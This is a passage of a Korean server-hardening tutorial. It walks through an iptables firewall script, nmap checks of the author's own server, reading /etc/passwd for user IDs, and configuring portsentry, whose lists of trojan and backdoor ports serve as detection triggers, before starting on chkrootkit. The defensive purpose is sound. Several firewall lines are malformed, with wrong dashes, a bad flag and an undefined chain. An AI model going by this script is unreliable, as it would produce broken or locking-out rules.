[root@localhost init.d]# /etc/rc.d/init.d/sendmail stop
sendmail를 종료하고 있습니다: [ 확인 ]
sm-client을 종료하고 있습니다: [실패]
[root@localhost init.d]#
다시 최종 포트스캐닝을 합니다.
[root@localhost root]# nmap localhost
11
Starting nmap V. 3.00 ( www.insecure.org/nmap/ )
Interesting ports on localhost.localdomain (127.0.0.1):
(The 1593 ports scanned but not shown below are in state: closed)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3306/tcp open mysql
Nmap run completed -- 1 IP address (1 host up) scanned in 0.283 seconds
[root@localhost root]#
이제 다시 확인을 해보니 서버에 원격으로 접속하여 관리를 할 수 있는 ssh 서비스가 돌아가고 있고, 웹
서버가 돌아가고 있으며, 홈페이지에서 보드를 운영할 수 있도록 mysql 서버도 돌아가고 있습니다. 사실 이
세가지 포트만 열려 있다면 홈페이지를 운영하는데 아무런 지장이 없습니다.
(2) 사용자 및 그룹 확인
여기서는 방화벽 설정을 할 때 특정 사용자만 접속하도록 설정하기 위한 정보를 알아볼 것입니다. 여기서
특정 사용자란 root와 웹 서버를 운영하는 사용자를 말합니다. 사실 콘솔에서 작업을 할 때는 root로 접속하지
않는 것이 보안을 위해 좋습니다. 하지만 어떨 경우 root로 접속해야 하는 경우가 있습니다. 그래서 여기서는
root와 웹 서버를 운영하는 사용자 두 사람만이 ssh로 접속할 수 있게 하는데 필요한 정보를 알아볼 것입니다.
먼저 /etc/passwd 파일의 내용을 확인합니다. 한가지 팁을 말하자면, 사용하지 않는 서비스 앞에 #를 붙이는
것이 좋습니다.
[root@localhost root]# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
- 중략 -
radvd:x:75:75:radvd user:/:/sbin/nologin
securityproof:x:500:500:securityproof:/home/securityproof:/bin/bash
[root@localhost root]#
위의 결과를 보면 root 부분에 0이 보입니다. 그리고 securityproof에는 500이 보입니다. 이것을 잘 봐두시기
바랍니다. 이제 방화벽 설정 준비가 다 되었습니다.
12
(3) 방화벽 설정
지금 돌아가고 있는 서비스는 ssh, http, mysql 서버입니다. 여기에 대한 기본 설정과 해커들이 공격을 위해
사전에 반드시 하는 것이 있는데, 그것은 바로 포트 스캐닝입니다. 보안 관리자가 보안을 위해 열린 포트를
확인하듯, 공격자도 공격을 위해 포트 스캐닝을 합니다.
그런데 만약 포트 스캐닝을 해서 공격자가 원하는 결과를 얻지 못할 경우 성공적인 공격을 할 수 없을
것입니다. 그래서 포트 스캐닝을 하더라도 원하는 결과를 얻지 못하도록 방화벽에 설정할 것입니다. 다시
말하지만 방화벽 설정은 그렇게 어려운 것이 아니니 겁먹지 말고 하나씩 따라 해보시기 바랍니다.
우선 iptables라는 것이 어디에 있는지 확인해봅니다.
[root@localhost root]# which iptables
/sbin/iptables
[root@localhost root]#
확인해보니 /sbin 디렉토리에 있다는 것을 알 수 있습니다. 다음은 스크립트로 만든 방화벽 구성입니다.
여러분들은 word나 아니면 메모장에 작성하여 나중에 서버에 붙이면 됩니다. 먼저 메모장을 열어 다음과 같이
작성합니다. 작성할 때는 자기의 서버에 맞게 설정하는데, 만약 열린 포트가 22, 80, 3306이라면 다음과 같이
그대로 해도 무관할 것입니다. 일단 아래의 스크립트에서 알아둘 것은 #은 코멘트를 달아둔 것입니다. 이것은
실제로 실행이 안되는 것입니다. 필요한 부분은 파란색으로 표시합니다.
#!/bin/sh
#
# by securityproof.net (securityproof@hotmail.com)
#
# 기존의 정책을 초기화
/sbin/iptables -F
#
######################
# 포트 스캐닝 방지를 위한 설정
######################
#
/sbin/iptables -A INPUT -d 0.0.0.0/0 -p icmp -j DROP
# DoS 공격 방지를 위한 설정
13
# DoS 공격은 서비스를 원활히 운영하지 못하게 하기 때문에
# DoS 공격을 받으면 사이트의 신뢰성을 잃게 됨.
/sbin/iptables –t nat –A syn-flood –m limit –limit 12/s \ --limit-burst 24 –j RETURN
/sbin/iptables -t nat –A syn-flood –j DROP
#
################
# ssh(port 22) 정책
################
#
# 만약 관리자가 고정 아이피를 사용할 경우, 그 아이피만 사용하게 함
# 211.123.123.123라는 아이피 대신 여러분들의 아이피를 써줍니다.
# /sbin/iptables -A INPUT -p tcp --dport 22 -s 211.123.123.123 -j ACCEPT
# 그러나 여러분들이 다른 곳에 가서 서버에 접속할 경우가 있기 때문에
# 이 아이피를 사용하는 곳에 있을 경우 앞의 #를 없애고 실행하며
# 그렇지 않을 경우는 #을 붙여두는 것이 좋을 것입니다.
#
## 이제 특정 사용자만 접속하도록 설정합니다.
# 이는 앞에서 /etc/passwd 파일에 대해 알아볼 때 확인해둔 것입니다.
# root와securityproof가 접속 가능합니다.
# 여러분들은 여러분들의 서버에 맞게 설정하면 됩니다.
# 여기서 여러분들이 고쳐야 할 것은 securityproof에 대한 것이 500입니다.
# 대부분 사용자를 추가하면 500, 501.. 이런 식으로 나갑니다.
# 여러분들이 접속을 허용할 사용자에 해당하는 수를 500 대신 사용하면 됩니다.
#
/sbin/iptables -A INPUT -p tcp --dport 22 -m owner --uid-owner 0 -j ACCEPT
/sbin/iptables -A INPUT -p tcp --dport 22 -m owner --gid-owner 0 -j ACCEPT
/sbin/iptables -A OUTPUT -p tcp --dport 22 -m owner --uid-owner 0 -j ACCEPT
/sbin/iptables -A OUTPUT -p tcp --dport 22 -m owner --gid-owner 0 -j ACCEPT
/sbin/iptables -A INPUT -p tcp --dport 22 -m owner --uid-owner 500 -j ACCEPT
/sbin/iptables -A INPUT -p tcp --dport 22 -m owner --gid-owner 500 -j ACCEPT
/sbin/iptables -A OUTPUT -p tcp --dport 22 -m owner --uid-owner 500 -j REJECT
/sbin/iptables -A OUTPUT -p tcp --dport 22 -m owner --gid-owner 500 -j REJECT
#
##############
# mySQL 정책
14
##############
#
/sbin/iptables -A INPUT -p tcp --dport 3306 -j REJECT
/sbin/iptables -A OUTPUT -p tcp --dport 3306 -j REJECT
# 끝
이제 최종 정리를 해보도록 하겠습니다.
****************************************************************************************
#!/bin/sh
# 기존의 정책을 초기화
/sbin/iptables -F
# 포트 스캐닝 방지를 위한 설정
/sbin/iptables -A INPUT -d 0.0.0.0/0 -p icmp -j DROP
# DoS 공격 방지를 위한 설정
/sbin/iptables –t nat –A syn-flood –m limit –limit 12/s ₩ --limit-burst 24 –j RETURN
/sbin/iptables -t nat –A syn-flood –j DROP
# ssh 정책
/sbin/iptables -A INPUT -p tcp --dport 22 -m owner --uid-owner 0 -j ACCEPT
/sbin/iptables -A INPUT -p tcp --dport 22 -m owner --gid-owner 0 -j ACCEPT
/sbin/iptables -A OUTPUT -p tcp --dport 22 -m owner --uid-owner 0 -j ACCEPT
/sbin/iptables -A OUTPUT -p tcp --dport 22 -m owner --gid-owner 0 -j ACCEPT
/sbin/iptables -A INPUT -p tcp --dport 22 -m owner --uid-owner 500 -j ACCEPT
/sbin/iptables -A INPUT -p tcp --dport 22 -m owner --gid-owner 500 -j ACCEPT
/sbin/iptables -A OUTPUT -p tcp --dport 22 -m owner --uid-owner 500 -j REJECT
/sbin/iptables -A OUTPUT -p tcp --dport 22 -m owner --gid-owner 500 -j REJECT
# mySQL 정책
/sbin/iptables -A INPUT -p tcp --dport 3306 -j REJECT
/sbin/iptables -A OUTPUT -p tcp --dport 3306 -j REJECT
****************************************************************************************
이제 만들어진 스크립트를 서버에서 실행을 합니다.
[root@localhost root]# cat > firewall
#!/bin/sh
# 기존의 정책을 초기화
/sbin/iptables -F
15
# 포트 스캐닝 방지를 위한 설정
/sbin/iptables -A INPUT -d 0.0.0.0/0 -p icmp -j DROP
# DoS 공격 방지를 위한 설정
/sbin/iptables -t nat -A syn-flood -m limit -limit 12/s ₩ --limit-burst 24 -j RETURN
/sbin/iptables -t nat -A syn-flood -j DROP
# ssh 정책
/sbin/iptables -A INPUT -p tcp --dport 22 -m owner --uid-owner 0 -j ACCEPT
/sbin/iptables -A INPUT -p tcp --dport 22 -m owner --gid-owner 0 -j ACCEPT
/sbin/iptables -A OUTPUT -p tcp --dport 22 -m owner --uid-owner 0 -j ACCEPT
/sbin/iptables -A OUTPUT -p tcp --dport 22 -m owner --gid-owner 0 -j ACCEPT
/sbin/iptables -A INPUT -p tcp --dport 22 -m owner --uid-owner 500 -j ACCEPT
/sbin/iptables -A INPUT -p tcp --dport 22 -m owner --gid-owner 500 -j ACCEPT
/sbin/iptables -A OUTPUT -p tcp --dport 22 -m owner --uid-owner 500 -j REJECT
/sbin/iptables -A OUTPUT -p tcp --dport 22 -m owner --gid-owner 500 -j REJECT
# mySQL 정책
/sbin/iptables -A INPUT -p tcp --dport 3306 -j REJECT
/sbin/iptables -A OUTPUT -p tcp --dport 3306 -j REJECT
[root@localhost root]# chmod 700 firewall
[root@localhost root]# ./firewall
이제 다시 포트 스캐닝을 하여 포트의 상태를 알아봅니다.
[root@localhost root]# nmap localhost
Starting nmap 3.70 ( http://www.insecure.org/nmap/ )
Note: Host seems down. If it is really up, but blocking our ping probes, try -P0
Nmap run completed -- 1 IP address (0 hosts up) scanned in 0.117 seconds
[root@localhost root]#
방화벽 설정으로 인해 로컬에서 nmap을 돌려도 그 결과가 나오질 않습니다. 그래서 –P0옵션을 붙여 스캐닝을
해봅니다.
[root@localhost root]# nmap -P0 localhost
Starting nmap V. 3.00 ( www.insecure.org/nmap/ )
16
Interesting ports on localhost.localdomain (127.0.0.1):
(The 1593 ports scanned but not shown below are in state: closed)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3306/tcp filtered mysql
Nmap run completed -- 1 IP address (1 host up) scanned in 0.294 seconds
[root@localhost root]#
설정한 부분이 보입니다. mysql 부분을 보면 필터링이 되고 있습니다. 물론 다른 설정도 제대로 돌아가고 있
습니다. 좀 있다가 알아볼 porsentry와 iptables가 조화를 이루어 실행되면 아주 강력한 보안 정책이 수립됩
니다. 외부 네트워크에서 –P0옵션을 붙여 스캐닝을 하더라도 그 결과는 보이지 않을 것입니다.
이렇게 해서 방화벽 설정을 위해 필요한 정보를 확인하는 것과 방화벽 스크립트, 그리고 최종 실행까지를 알
아보았습니다. 여러분들은 파란색으로 된 부분만 실행하면 됩니다.
2. 침입 탐지 및 방어 시스템 PORTSENTRY 운영
여기서는 portsentry라는 아주 멋있는 프로그램에 대해 알아볼 것입니다. 일반적으로 해커들은 특정 서버 공
격 전에 포트 스캐닝을 한다고 말했습니다. 이를 통해 필요한 정보를 구합니다. 이에 대한 좀 더 적극적인 방
어책으로 portsentry를 운영하면 각종 침입 시도를 멈추게 할 수 있습니다.
우선 portsentry를 구합니다. wget을 이용하여 바로 서버에 다운받도록 하겠습니다.
[root@localhost root]# wget http://packetstormsecurity.org/UNIX/IDS/portsentry-1.1.tar.gz
--15:49:20-- http://packetstormsecurity.org/UNIX/IDS/portsentry-1.1.tar.gz
=> `portsentry-1.1.tar.gz'
Resolving packetstormsecurity.org... 212.130.50.194
17
Connecting to packetstormsecurity.org[212.130.50.194]:80... connected.
HTTP 요청을 보냅니다, 서버로부터의 응답을 기다림...200 OK
길이: 45,871 [application/x-tar]
100%[============================================================>] 45,871 33.58K/s
15:49:28 (33.53 KB/s) - `portsentry-1.1.tar.gz' saved [45,871/45,871]
[root@localhost root]#
이제 압축을 풀고 설치를 합니다. 설치는 파란색으로 나와 있는 부분대로 따라 하시면 됩니다.
[root@localhost root]# tar xvfz portsentry-1.1.tar.gz
portsentry-1.1/
portsentry-1.1/CHANGES
portsentry-1.1/CREDITS
portsentry-1.1/LICENSE
portsentry-1.1/Makefile
portsentry-1.1/README.COMPAT
portsentry-1.1/README.install
portsentry-1.1/README.methods
portsentry-1.1/README.stealth
portsentry-1.1/ignore.csh
portsentry-1.1/portsentry.c
portsentry-1.1/portsentry.conf
portsentry-1.1/portsentry.h
portsentry-1.1/portsentry.ignore
portsentry-1.1/portsentry_config.h
portsentry-1.1/portsentry_io.c
portsentry-1.1/portsentry_io.h
portsentry-1.1/portsentry_tcpip.h
portsentry-1.1/portsentry_util.c
portsentry-1.1/portsentry_util.h
[root@localhost root]# cd portsentry-1.1
[root@localhost portsentry-1.1]# make linux
SYSTYPE=linux
18
Making
cc -O -Wall -DLINUX -DSUPPORT_STEALTH -o ./portsentry ./portsentry.c ₩
./portsentry_io.c ./portsentry_util.c
[root@localhost portsentry-1.1]# make install
Creating psionic directory /usr/local/psionic
Setting directory permissions
Creating portsentry directory /usr/local/psionic/portsentry
Setting directory permissions
chmod 700 /usr/local/psionic/portsentry
Copying files
cp ./portsentry.conf /usr/local/psionic/portsentry
cp ./portsentry.ignore /usr/local/psionic/portsentry
cp ./portsentry /usr/local/psionic/portsentry
Setting permissions
chmod 600 /usr/local/psionic/portsentry/portsentry.ignore
chmod 600 /usr/local/psionic/portsentry/portsentry.conf
chmod 700 /usr/local/psionic/portsentry/portsentry
Edit /usr/local/psionic/portsentry/portsentry.conf and change
your settings if you haven't already. (route, etc)
WARNING: This version and above now use a new
directory structure for storing the program
and config files (/usr/local/psionic/portsentry).
Please make sure you delete the old files when
the testing of this install is complete.
[root@localhost portsentry-1.1]#
설치는 끝났으며, 이제 설정 파일인 portsentry.conf를 수정합니다. 이 파일이 있는 디렉토리로 가서 이제 설
정 파일을 수정하도록 하겠습니다. 이 파일은 /usr/local/psionic/portsentry 디렉토리에 있습니다.
[root@localhost portsentry-1.1]# cd /usr/local/psionic/portsentry
[root@localhost portsentry]# ls -la
19
합계 68
drwx------ 2 root root 4096 7월 19 15:52 .
drwx------ 3 root root 4096 7월 19 15:51 ..
-rwx------ 1 root root 41510 7월 19 15:52 portsentry
-rw------- 1 root root 11198 7월 19 15:52 portsentry.conf
-rw------- 1 root root 480 7월 19 15:52 portsentry.ignore
[root@localhost portsentry]#
3개의 파일들이 보입니다. 제일 위에 있는 것은 실행파일이고, 두 번째 것은 설정 파일이며, 세 번째 있는 것
은 탐지를 할 때 무시를 해도 좋은 유저와 아이피 주소를 기록하는 곳입니다. 제일 먼저 portsentry.conf라는
파일을 수정하도록 하겠습니다. 수정한 부분은 파란색으로 표시하겠습니다. 그리고 많은 수정이 필요하지 않
으므로 간단한 vi 사용법만 아시면 됩니다.
[root@localhost portsentry]# vi portsentry.conf
# PortSentry Configuration
#
# $Id: portsentry.conf,v 1.23 2001/06/26 15:20:56 crowland Exp crowland $
#
# IMPORTANT NOTE: You CAN NOT put spaces between your port arguments.
#
# The default ports will catch a large number of common probes
#
# All entries must be in quotes.
#######################
# Port Configurations #
#######################
#
#
# Some example port configs for classic and basic Stealth modes
#
# I like to always keep some ports at the "low" end of the spectrum.
# This will detect a sequential port sweep really quickly and usually
# these ports are not in use (i.e. tcpmux port 1)
#
# ** X-Windows Users **: If you are running X on your box, you need to be sure
# you are not binding PortSentry to port 6000 (or port 2000 for OpenWindows users).
20
# Doing so will prevent the X-client from starting properly.
#
# These port bindings are *ignored* for Advanced Stealth Scan Detection Mode.
#
# Un-comment these if you are really anal:
#TCP_PORTS="1,7,9,11,15,70,79,80,109,110,111,119,138,139,143,512,513,514,515,540,635,1080,1524,2000,2001,4000,4001
,5742,6000,6001,6667,12345,12346,20034,27665,30303,32771,32772,32773,32774,31337,40421,40425,49724,54320"
#UDP_PORTS="1,7,9,66,67,68,69,111,137,138,161,162,474,513,517,518,635,640,641,666,700,2049,31335,27444,34555,32770
,32771,32772,32773,32774,31337,54321"
#
# Use these if you just want to be aware:
# 다음 부분은 앞에 #를 붙입니다.
#TCP_PORTS="1,11,15,79,111,119,143,540,635,1080,1524,2000,5742,6667,12345,12346,20034,27665,31337,32771,32772,3277
3,32774,40421,49724,54320"
#UDP_PORTS="1,7,9,69,161,162,513,635,640,641,700,37444,34555,31335,32770,32771,32772,32773,32774,31337,54321"
#
# Use these for just bare-bones
#TCP_PORTS="1,11,15,110,111,143,540,635,1080,1524,2000,12345,12346,20034,32771,32772,32773,32774,49724,54320"
#UDP_PORTS="1,7,9,69,161,162,513,640,700,32770,32771,32772,32773,32774,31337,54321"
# 우리가 사용하고 있는 포트만 다음처럼 대로 작성합니다.
TCP_PORTS="22,80,3306"
UDP_PORTS="22,80,3306"
###########################################
# Advanced Stealth Scan Detection Options #
###########################################
#
# This is the number of ports you want PortSentry to monitor in Advanced mode.
# Any port *below* this number will be monitored. Right now it watches
# everything below 1024.
#
# On many Linux systems you cannot bind above port 61000. This is because
# these ports are used as part of IP masquerading. I don't recommend you
# bind over this number of ports. Realistically: I DON'T RECOMMEND YOU MONITOR
# OVER 1024 PORTS AS YOUR FALSE ALARM RATE WILL ALMOST CERTAINLY RISE. You've been
# warned! Don't write me if you have have a problem because I'll only tell
21
# you to RTFM and don't run above the first 1024 ports.
#
#
ADVANCED_PORTS_TCP="1024"
ADVANCED_PORTS_UDP="1024"
#
# This field tells PortSentry what ports (besides listening daemons) to
# ignore. This is helpful for services like ident that services such
# as FTP, SMTP, and wrappers look for but you may not run (and probably
# *shouldn't* IMHO).
#
# By specifying ports here PortSentry will simply not respond to
# incoming requests, in effect PortSentry treats them as if they are
# actual bound daemons. The default ports are ones reported as
# problematic false alarms and should probably be left alone for
# all but the most isolated systems/networks.
#
# Default TCP ident and NetBIOS service
ADVANCED_EXCLUDE_TCP="113,139"
# Default UDP route (RIP), NetBIOS, bootp broadcasts.
ADVANCED_EXCLUDE_UDP="520,138,137,67"
######################
# Configuration Files#
######################
#
# Hosts to ignore
IGNORE_FILE="/usr/local/psionic/portsentry/portsentry.ignore"
# Hosts that have been denied (running history)
HISTORY_FILE="/usr/local/psionic/portsentry/portsentry.history"
# Hosts that have been denied this session only (temporary until next restart)
BLOCKED_FILE="/usr/local/psionic/portsentry/portsentry.blocked"
##############################
# Misc. Configuration Options#
##############################
#
22
# DNS Name resolution - Setting this to "1" will turn on DNS lookups
# for attacking hosts. Setting it to "0" (or any other value) will shut
# it off.
RESOLVE_HOST = "1"
###################
# Response Options#
###################
# Options to dispose of attacker. Each is an action that will
# be run if an attack is detected. If you don't want a particular
# option then comment it out and it will be skipped.
#
# The variable $TARGET$ will be substituted with the target attacking
# host when an attack is detected. The variable $PORT$ will be substituted
# with the port that was scanned.
#
##################
# Ignore Options #
##################
# These options allow you to enable automatic response
# options for UDP/TCP. This is useful if you just want
# warnings for connections, but don't want to react for
# a particular protocol (i.e. you want to block TCP, but
# not UDP). To prevent a possible Denial of service attack
# against UDP and stealth scan detection for TCP, you may
# want to disable blocking, but leave the warning enabled.
# I personally would wait for this to become a problem before
# doing though as most attackers really aren't doing this.
# The third option allows you to run just the external command
# in case of a scan to have a pager script or such execute
# but not drop the route. This may be useful for some admins
# who want to block TCP, but only want pager/e-mail warnings
# on UDP, etc.
#
#
# 0 = Do not block UDP/TCP scans.
# 1 = Block UDP/TCP scans.
23
# 2 = Run external command only (KILL_RUN_CMD)
BLOCK_UDP="1"
BLOCK_TCP="1"
###################
# Dropping Routes:#
###################
# This command is used to drop the route or add the host into
# a local filter table.
#
# The gateway (333.444.555.666) should ideally be a dead host on
# the *local* subnet. On some hosts you can also point this at
# localhost (127.0.0.1) and get the same effect. NOTE THAT
# 333.444.555.66 WILL *NOT* WORK. YOU NEED TO CHANGE IT!!
#
# ALL KILL ROUTE OPTIONS ARE COMMENTED OUT INITIALLY. Make sure you
# uncomment the correct line for your OS. If you OS is not listed
# here and you have a route drop command that works then please
# mail it to me so I can include it. ONLY ONE KILL_ROUTE OPTION
# CAN BE USED AT A TIME SO DON'T UNCOMMENT MULTIPLE LINES.
#
# NOTE: The route commands are the least optimal way of blocking
# and do not provide complete protection against UDP attacks and
# will still generate alarms for both UDP and stealth scans. I
# always recommend you use a packet filter because they are made
# for this purpose.
# 이 부분에는 각 OS별로 설정이 나와 있는데, 대부분 #가 붙어 있지요.
# 우리가 사용할 부분에는 파란색으로 표시하겠습니다.
# 리눅스용은 다음과 같습니다.
# 다른 부분은 모두 삭제하였습니다.
KILL_ROUTE="/sbin/iptables -I INPUT -s $TARGET$ -j DROP"
###############
# TCP Wrappers#
###############
24
# This text will be dropped into the hosts.deny file for wrappers
# to use. There are two formats for TCP wrappers:
#
# Format One: Old Style - The default when extended host processing
# options are not enabled.
#
KILL_HOSTS_DENY="ALL: $TARGET$"
# Format Two: New Style - The format used when extended option
# processing is enabled. You can drop in extended processing
# options, but be sure you escape all '%' symbols with a backslash
# to prevent problems writing out (i.e. ₩%c ₩%h )
#
#KILL_HOSTS_DENY="ALL: $TARGET$ : DENY"
###################
# External Command#
###################
# This is a command that is run when a host connects, it can be whatever
# you want it to be (pager, etc.). This command is executed before the
# route is dropped or after depending on the KILL_RUN_CMD_FIRST option below
#
#
# I NEVER RECOMMEND YOU PUT IN RETALIATORY ACTIONS AGAINST THE HOST SCANNING
# YOU!
#
# TCP/IP is an *unauthenticated protocol* and people can make scans appear out
# of thin air. The only time it is reasonably safe (and I *never* think it is
# reasonable) to run reverse probe scripts is when using the "classic" -tcp mode.
# This mode requires a full connect and is very hard to spoof.
#
# The KILL_RUN_CMD_FIRST value should be set to "1" to force the command
# to run *before* the blocking occurs and should be set to "0" to make the
# command run *after* the blocking has occurred.
#
#KILL_RUN_CMD_FIRST = "0"
#
25
#
#KILL_RUN_CMD="/some/path/here/script $TARGET$ $PORT$"
#####################
# Scan trigger value#
#####################
# Enter in the number of port connects you will allow before an
# alarm is given. The default is 0 which will react immediately.
# A value of 1 or 2 will reduce false alarms. Anything higher is
# probably not necessary. This value must always be specified, but
# generally can be left at 0.
#
# NOTE: If you are using the advanced detection option you need to
# be careful that you don't make a hair trigger situation. Because
# Advanced mode will react for *any* host connecting to a non-used
# below your specified range, you have the opportunity to really
# break things. (i.e someone innocently tries to connect to you via
# SSL [TCP port 443] and you immediately block them). Some of you
# may even want this though. Just be careful.
#
SCAN_TRIGGER="0"
######################
# Port Banner Section#
######################
#
# Enter text in here you want displayed to a person tripping the PortSentry.
# I *don't* recommend taunting the person as this will aggravate them.
# Leave this commented out to disable the feature
#
# Stealth scan detection modes don't use this feature
#
#PORT_BANNER="** UNAUTHORIZED ACCESS PROHIBITED *** YOUR CONNECTION ATTEMPT HAS BEEN LOGGED. GO AWAY."
# EOF
[root@localhost portsentry]#
26
이제 portsentry.ignore 파일 하나만 설정하면 되는데, 굳이 손볼 필요는 없습니다. 하지만 고정 아이피를 사
용하시는 분이라면 설정을 해두는 것이 좋습니다. 고정 아이피를 사용하지 않는다면 모든 준비가 된 것입니다.
[root@localhost portsentry]# vi portsentry.ignore
# Put hosts in here you never want blocked. This includes the IP addresses
# of all local interfaces on the protected host (i.e virtual host, mult-home)
# Keep 127.0.0.1 and 0.0.0.0 to keep people from playing games.
#
# PortSentry can support full netmasks for networks as well. Format is:
#
# <IP Address>/<Netmask>
#
# Example:
#
# 192.168.2.0/24
# 192.168.0.0/16
# 192.168.2.1/32
# Etc.
#
# If you don't supply a netmask it is assumed to be 32 bits.
#
#
127.0.0.1/32
0.0.0.0
# 관리자의 고정 아이피를 추가합니다. 만약 그 아이피가 123.123.123.123이라면,
# 아래에 이 아이피 주소를 입력합니다.
123.123.123.123
[root@localhost portsentry]#
이제 설정이 모두 끝났고, 실행만 하면 됩니다. 실행을 위해 간단한 스크립트를 만듭니다. 이것은 아래 나오
는 것 그대로 사용하시면 됩니다. 이것은 일일이 명령을 입력할 필요 없이 한번의 실행으로 각 모드를 실행할
수 있게 해줍니다. 다시 root 디렉토리로 와서 다음과 같은 작업을 합니다.
[root@localhost portsentry]# cd
[root@localhost root]# cat > portsentry
27
#!/bin/sh
#
# portsentry 정책
#
/usr/local/psionic/portsentry/portsentry -tcp
/usr/local/psionic/portsentry/portsentry -udp
/usr/local/psionic/portsentry/portsentry -atcp
/usr/local/psionic/portsentry/portsentry -audp
[root@localhost root]# chmod 700 portsentry
[root@localhost root]# ./portsentry
이제 portsentry가 제대로 실행되고 있는지 확인해봅니다. 프로세스를 확인해보도록 하겠습니다.
[root@localhost root]# ps -aux | grep portsentry
root 12114 0.0 0.0 1384 460 ? S 16:53 0:00 /usr/local/psionic/portsentry/portsentry -tcp
root 12116 0.0 0.0 1384 460 ? S 16:53 0:00 /usr/local/psionic/portsentry/portsentry -udp
root 12120 0.0 0.0 1380 452 ? S 16:53 0:00 /usr/local/psionic/portsentry/portsentry -atcp
root 12124 0.0 0.0 1384 460 ? S 16:53 0:00 /usr/local/psionic/portsentry/portsentry -audp
root 12128 0.0 0.1 4668 656 pts/3 S 16:54 0:00 grep portsentry
[root@localhost root]#
모든 것이 정상적으로 돌아가고 있습니다. 이제 간단한 테스트를 통해 portsentry가 그 역할을 잘 하고 있는
지 확인을 해보도록 하겠습니다. 먼저 스캐닝을 해보도록 하겠습니다. portsentry가 설치되어 있는 곳은
securityproof.net에서 운영하는 프리해킹 존입니다.
[root@test cracker]# nmap -P0 211.xxx.xxx.xxx
Starting nmap 3.70 ( http://www.insecure.org/nmap/ ) at 2005-07-19 15:02 KST
[root@test cracker]#
더 이상 스캐닝이 진행되지 않아 Ctrl-c키를 눌렀습니다. 이제 서버에 남아 있는 로그를 보겠습니다. 로그는
보통 두 군데 쌓이게 됩니다. 먼저 /var/log/messages에 기록된 로그를 보도록 하겠습니다. 다음 로그는 실제
28
서버에 공격한 흔적입니다.
[root@localhost root]# cd /var/log
[root@localhost root]# cat messages
Jul 19 17:32:14 localhost portsentry[12011]: attackalert: Host 211.195.203.70 has been blocked via wrappers with
string: "ALL: 211.195.203.70"
Jul 19 17:32:14 localhost portsentry[12011]: attackalert: Host 211.195.203.70 has been blocked via dropped route
using command: "/sbin/iptables -I INPUT -s 211.195.203.70 -j DROP"
로그를 보니 iptables를 이용해 공격자의 아이피를 막아버렸습니다. 이 공격자는 이제 공격에 사용된 아이피
로는 서버에 접근하지 못하게 됩니다. 즉, 공격이 힘들어지게 된 것입니다. 공격자가 프록시를 사용하지 않는
다면 웹 서버, 즉 홈페이지에도 접근을 못하게 됩니다. 다른 로그는 /usr/local/psionic/portsentry 디렉토리
에 있는 portsentry.history라는 파일에 다음과 같이 기록됩니다.
1121752534 - 07/19/2005 17:32:14 Host: 211.195.203.70 /211.195.203.70 Port: 135 TCP Blocked
이제까지 portsentry를 통해 침입탐지 및 방어 시스템을 구축하는 것에 대해 알아보았습니다.
3. chkrootkit를 통한 백도어 설치 탐지
악의적인 공격자들은 공격 성공 후 서버에 백도어를 설치하는 경우가 있습니다. 이는 단순한 프로세스 확인만
으로는 탐지가 되지 않는 경우가 더 많습니다. 남미나 유럽 크래커들은 서버 공격 후 자신들의 무용담을 자랑
하기 위해 웹 페이지를 변조하여 공격 여부를 확인할 수 있으나, 중국 해커들의 경우 웹 페이지 변조 없이 서
버를 악의적으로 사용하는 경우가 많습니다.
이런 경우 chkrootkit란 툴을 이용하여 서버에 설치되어 있는 백도어를 탐지할 수 있습니다. 현재 가장 최신
버전은 0.45 버전입니다. 먼저 chkrootkit를 다운받아 설치합니다. 이번에도 역시 wget을 이용하여 바로 서버
로 다운 받도록 하겠습니다.
29
[root@localhost root]# wget ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gz
--17:33:16-- ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gz
=> `chkrootkit.tar.gz'
Resolving ftp.pangeia.com.br... 200.239.53.35
Connecting to ftp.pangeia.com.br[200.239.53.35]:21... connected.
anonymous로서 로그인하고 있습니다...로그인 했습니다!
==> SYST ... 완료. ==> PWD ... 완료.
==> TYPE I ... 완료. ==> CWD /pub/seg/pac ... 완료.
==> PASV ... 완료. ==> RETR chkrootkit.tar.gz ... 완료.
길이: 36,359 (unauthoritative)
100%[=========================================================================================>] 36,359
7.23K/s ETA 00:00
17:33:27 (6.90 KB/s) - `chkrootkit.tar.gz' saved [36,359]
[root@localhost root]#
이제 압축을 풀고 설치를 하도록 하겠습니다. chkrootkit은 설치가 쉬우며, 별도의 설정 파일이 없습니다.
[root@localhost root]# tar xvfz chkrootkit.tar.gz
chkrootkit-0.45/
chkrootkit-0.45/ifpromisc.c
chkrootkit-0.45/COPYRIGHT
chkrootkit-0.45/chkdirs.c
chkrootkit-0.45/check_wtmpx.c
chkrootkit-0.45/chkrootkit.lsm
chkrootkit-0.45/Makefile
chkrootkit-0.45/ACKNOWLEDGMENTS
chkrootkit-0.45/README.chkwtmp
chkrootkit-0.45/chklastlog.c
chkrootkit-0.45/chkrootkit
chkrootkit-0.45/chkutmp.c
chkrootkit-0.45/chkwtmp.c
chkrootkit-0.45/README
chkrootkit-0.45/README.chklastlog
30
chkrootkit-0.45/strings.c
chkrootkit-0.45/chkproc.c
[root@localhost root]# cd chkrootkit-0.45
[root@localhost chkrootkit-0.45]# make sense
gcc -DHAVE_LASTLOG_H -o chklastlog chklastlog.c
gcc -DHAVE_LASTLOG_H -o chkwtmp chkwtmp.c
gcc -DHAVE_LASTLOG_H -D_FILE_OFFSET_BITS=64 -o ifpromisc ifpromisc.c
gcc -o chkproc chkproc.c
gcc -o chkdirs chkdirs.c
gcc -o check_wtmpx check_wtmpx.c
gcc -static -o strings-static strings.c
gcc -o chkutmp chkutmp.c
[root@localhost chkrootkit-0.45]#
설치가 끝났습니다. 아주 간단합니다. 어떤 파일들이 있는지 확인해보도록 하겠습니다.
[root@localhost chkrootkit-0.45]# ls -la
합계 632
drwxr-xr-x 2 1000 1000 4096 7월 19 17:39 .
drwxr-x--- 20 root root 4096 7월 19 17:35 ..
-r--r--r-- 1 1000 1000 3365 2월 22 04:31 ACKNOWLEDGMENTS
-r--r--r-- 1 1000 1000 1343 9월 7 2004 COPYRIGHT
-r--r--r-- 1 1000 1000 1556 2월 22 08:13 Makefile
-r--r--r-- 1 1000 1000 12963 2월 22 21:56 README
-r--r--r-- 1 1000 1000 1323 9월 7 2004 README.chklastlog
